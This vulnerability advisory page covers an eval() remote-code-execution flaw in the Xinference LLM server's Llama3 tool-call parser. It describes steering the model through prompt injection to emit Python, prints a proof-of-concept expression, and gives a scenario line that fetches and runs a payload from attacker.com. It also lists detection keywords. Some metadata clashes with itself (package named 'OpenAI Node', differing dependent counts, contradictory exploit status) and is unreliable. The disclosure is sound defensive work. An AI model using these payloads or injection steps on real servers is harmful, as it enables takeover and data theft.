CVE-2026-61539: Xinference: eval() on LLM output enables RCE

GHSA-x2rj-828p-hx9mCRITICALPoC AVAILABLECISA: TRACK*
Published August 21, 2026
CISO Take

Xinference, a popular open-source LLM inference server, evaluates raw model output with Python's eval() while parsing Llama3 tool-call results, and because that output can be steered by attacker-supplied prompts, a remote attacker can make the model emit a malicious Python expression that executes on the server. This is a CVSS 10.0 unauthenticated RCE reachable through the standard /v1/chat/completions endpoint in the tested default deployment, and with 311 downstream dependents any product or internal tool built on Xinference's tool-calling feature inherits the exposure. There is no CISA KEV listing, no public exploit code, and no Nuclei template yet, so this looks like disclosure-stage risk rather than active mass exploitation, but the bug requires no authentication, no user interaction, and only a single crafted chat request, which makes weaponization trivial once details spread. Patch to xinference 2.7.0 immediately, and until every instance is upgraded, treat any internet- or intranet-reachable Xinference deployment as compromised-by-default: enforce authentication on the API, restrict network access to trusted callers only, and audit server logs and running processes for unexpected child processes or outbound connections spawned by the Xinference service account.

Sources:NVDGitHub AdvisoryCISA KEVATLAS

What is the risk?

Critical. The combination of CVSS 10.0, no authentication in the tested default configuration, zero required user interaction, and a trivial single-request trigger (a crafted chat-completion prompt) makes this a near-worst-case AI infrastructure vulnerability. The only mitigating factors are the absence of a known public exploit, no Nuclei coverage, and no CISA KEV listing at time of writing — all of which can change quickly given how mechanical the exploit primitive is (get the model to emit a Python expression, let eval() run it). Any organization running Xinference as an inference backend, especially with tool-calling/agentic features enabled and the Transformers backend for Llama3-family models, should treat this as an active-exploitation-imminent scenario rather than a theoretical finding.

How does the attack unfold?

Initial Access
Unauthenticated attacker sends a crafted request to the public /v1/chat/completions endpoint with a tools parameter set.
AML.T0049
Prompt Injection
The prompt is engineered so the Llama3 model returns a Python expression disguised as tool-call output instead of legitimate structured data.
AML.T0051
Code Execution
Xinference's Llama3 tool parser passes the raw model output directly into eval(), executing the attacker's Python expression on the server.
AML.T0050
Impact
The attacker achieves arbitrary command execution on the inference host, enabling reverse shells, data exfiltration, or lateral movement.
AML.T0072

What systems are affected?

PackageEcosystemVulnerable RangePatched
OpenAI Nodepip<= 2.5.02.7.0
11.2K1.8K dependentsPushed 7d ago56% patched~139d to patchFull package profile →

Do you use OpenAI Node? You're affected.

How severe is it?

CVSS 3.1
10.0 / 10
EPSS
1.2%
chance of exploitation in 30 days
Higher than 69% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
○Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRNone
UINone
SChanged
CHigh
IHigh
AHigh

What should I do?

1 step
  1. Upgrade to xinference >= 2.7.0 immediately, where extract_tool_calls() no longer uses eval() on raw model output. If immediate patching is not possible, disable the tools/function-calling feature on Llama3 models to avoid the vulnerable code path, and enable Xinference's authentication so the API is not reachable unauthenticated. Restrict network exposure of the /v1/chat/completions endpoint to trusted internal callers only (do not expose Xinference directly to the internet), and add egress monitoring/EDR on hosts running Xinference to catch anomalous child-process spawning (e.g., shell, curl, python subprocess calls) originating from the inference service. Review logs for chat-completion requests containing suspicious payloads resembling Python expressions (e.g., __import__, os.system, subprocess) as a detection signal, and validate the deployed version via the vendor advisory GHSA-x2rj-828p-hx9m before considering the instance safe.

What does CISA's SSVC say?

DecisionTrack*
Exploitationnone
AutomatableYes
Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15-Accuracy, robustness and cybersecurity
ISO 42001
A.6.2-AI system security controls
NIST AI RMF
MANAGE 4.1-Risk monitoring and system security response
OWASP LLM Top 10
LLM01-Prompt InjectionLLM05-Improper Output Handling

Frequently Asked Questions

What is CVE-2026-61539?

Xinference, a popular open-source LLM inference server, evaluates raw model output with Python's eval() while parsing Llama3 tool-call results, and because that output can be steered by attacker-supplied prompts, a remote attacker can make the model emit a malicious Python expression that executes on the server. This is a CVSS 10.0 unauthenticated RCE reachable through the standard /v1/chat/completions endpoint in the tested default deployment, and with 311 downstream dependents any product or internal tool built on Xinference's tool-calling feature inherits the exposure. There is no CISA KEV listing, no public exploit code, and no Nuclei template yet, so this looks like disclosure-stage risk rather than active mass exploitation, but the bug requires no authentication, no user interaction, and only a single crafted chat request, which makes weaponization trivial once details spread. Patch to xinference 2.7.0 immediately, and until every instance is upgraded, treat any internet- or intranet-reachable Xinference deployment as compromised-by-default: enforce authentication on the API, restrict network access to trusted callers only, and audit server logs and running processes for unexpected child processes or outbound connections spawned by the Xinference service account.

Is CVE-2026-61539 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-61539, increasing the risk of exploitation.

How to fix CVE-2026-61539?

Upgrade to xinference >= 2.7.0 immediately, where extract_tool_calls() no longer uses eval() on raw model output. If immediate patching is not possible, disable the `tools`/function-calling feature on Llama3 models to avoid the vulnerable code path, and enable Xinference's authentication so the API is not reachable unauthenticated. Restrict network exposure of the /v1/chat/completions endpoint to trusted internal callers only (do not expose Xinference directly to the internet), and add egress monitoring/EDR on hosts running Xinference to catch anomalous child-process spawning (e.g., shell, curl, python subprocess calls) originating from the inference service. Review logs for chat-completion requests containing suspicious payloads resembling Python expressions (e.g., `__import__`, `os.system`, `subprocess`) as a detection signal, and validate the deployed version via the vendor advisory GHSA-x2rj-828p-hx9m before considering the instance safe.

What systems are affected by CVE-2026-61539?

This vulnerability affects the following AI/ML architecture patterns: model serving, agent frameworks, LLM API endpoints.

What is the CVSS score for CVE-2026-61539?

CVE-2026-61539 has a CVSS v3.1 base score of 10.0 (CRITICAL). The EPSS exploitation probability is 1.23%.

What is the AI security impact?

Affected AI Architectures

model servingagent frameworksLLM API endpoints

MITRE ATLAS Techniques

AML.T0049Exploit Public-Facing Application
AML.T0050Command and Scripting Interpreter
AML.T0051LLM Prompt Injection
AML.T0051.000Direct
AML.T0053AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2
NIST AI RMF: MANAGE 4.1
OWASP LLM Top 10: LLM01, LLM05

What are the technical details?

Original Advisory

### Summary Xinference used Python's unsafe `eval()` function when parsing Llama3 tool-call output generated by a large language model. Because the model output can be influenced by attacker-controlled prompts sent to the chat completion API, a remote attacker can craft prompts that cause the model to return a Python expression. Xinference then evaluates that expression on the server while post-processing the tool-call result. In the tested default deployment, authentication was not enabled, so the vulnerability was exploitable by an unauthenticated remote attacker through the `/v1/chat/completions` endpoint. ### Details Users can interact with deployed models through Xinference's OpenAI-compatible `/v1/chat/completions` API. The request entry point is implemented in `xinference/api/restful_api.py`; non-streaming requests call the model instance's `chat()` method and return the inference result. When the Transformers backend is used, inference results flow through the batching logic in `xinference/model/llm/transformers/core.py`. Non-streaming chat results are handled by `handle_chat_result_non_streaming()`. If the request contains a `tools` field, Xinference calls `_post_process_completion()` to parse tool-call output from the model response. The Llama3 tool-call parser is implemented in `xinference/model/llm/tool_parsers/llama3_tool_parser.py`. In affected versions, `extract_tool_calls()` parsed model output with `eval()`: ```python def extract_tool_calls( self, model_output: str ) -> List[Tuple[Optional[str], Optional[str], Optional[Dict[str, Any]]]]: try: data = eval(model_output, {}, {}) return [(None, data["name"], data["parameters"])] except Exception: return [(model_output, None, None)] ``` The intended behavior was to convert a Python dictionary-like string generated by the model into a dictionary object. However, `eval()` executes the input as a Python expression, and `eval(model_output, {}, {})` is not a security sandbox. If an attacker can influence the model output through prompt injection or direct chat input, the attacker can cause the model to return an expression such as: ```python __import__('os').system('touch /tmp/hacked') ``` When the expression reaches `eval()`, it is executed in the Xinference server process context. The harmless `touch /tmp/hacked` command can be replaced with other payloads, such as a reverse shell, malware download, sensitive file read, or lateral-movement payload. ### Score Severity: Critical CVSS v3.1: 10.0 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` Rationale: - AV:N: the vulnerable API is remotely reachable over the network; - AC:L: exploitation only requires a crafted chat-completion request and tool-call parameter; - PR:N: the tested default configuration did not require authentication; - UI:N: no user interaction is required; - S:C: command execution can affect resources beyond the Xinference application boundary; - C:H/I:H/A:H: remote code execution can fully compromise confidentiality, integrity, and availability. ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com) - Atuin Automated Vulnerability Discovery Engine - Guannan Wang (wgnbuaa@gmail.com), Zhanpeng Liu (pkugenuine@gmail.com), Guancheng Li (lgcpku@gmail.com)

Exploitation Scenario

An unauthenticated attacker sends a chat-completion request to a public or internally reachable Xinference `/v1/chat/completions` endpoint with a `tools` parameter set, crafting the prompt so the Llama3 model's response resembles a tool call but is actually a Python expression, such as `__import__('os').system('curl attacker.com/payload | sh')`. Xinference's tool_parser passes this raw text to `eval(model_output, {}, {})` during post-processing, which executes the expression in the server process with no sandboxing. The attacker now has command execution on the inference host, which they can use to establish a reverse shell, exfiltrate any data or credentials accessible to that host, or pivot laterally into the rest of the environment — all without ever authenticating to the service.

Weaknesses (CWE)

CWE-95 — Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'): The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

  • [Architecture and Design, Implementation] If possible, refactor your code so that it does not need to use eval() at all.
  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Timeline

Published
August 21, 2026
Last Modified
August 24, 2026
First Seen
August 22, 2026

Related Vulnerabilities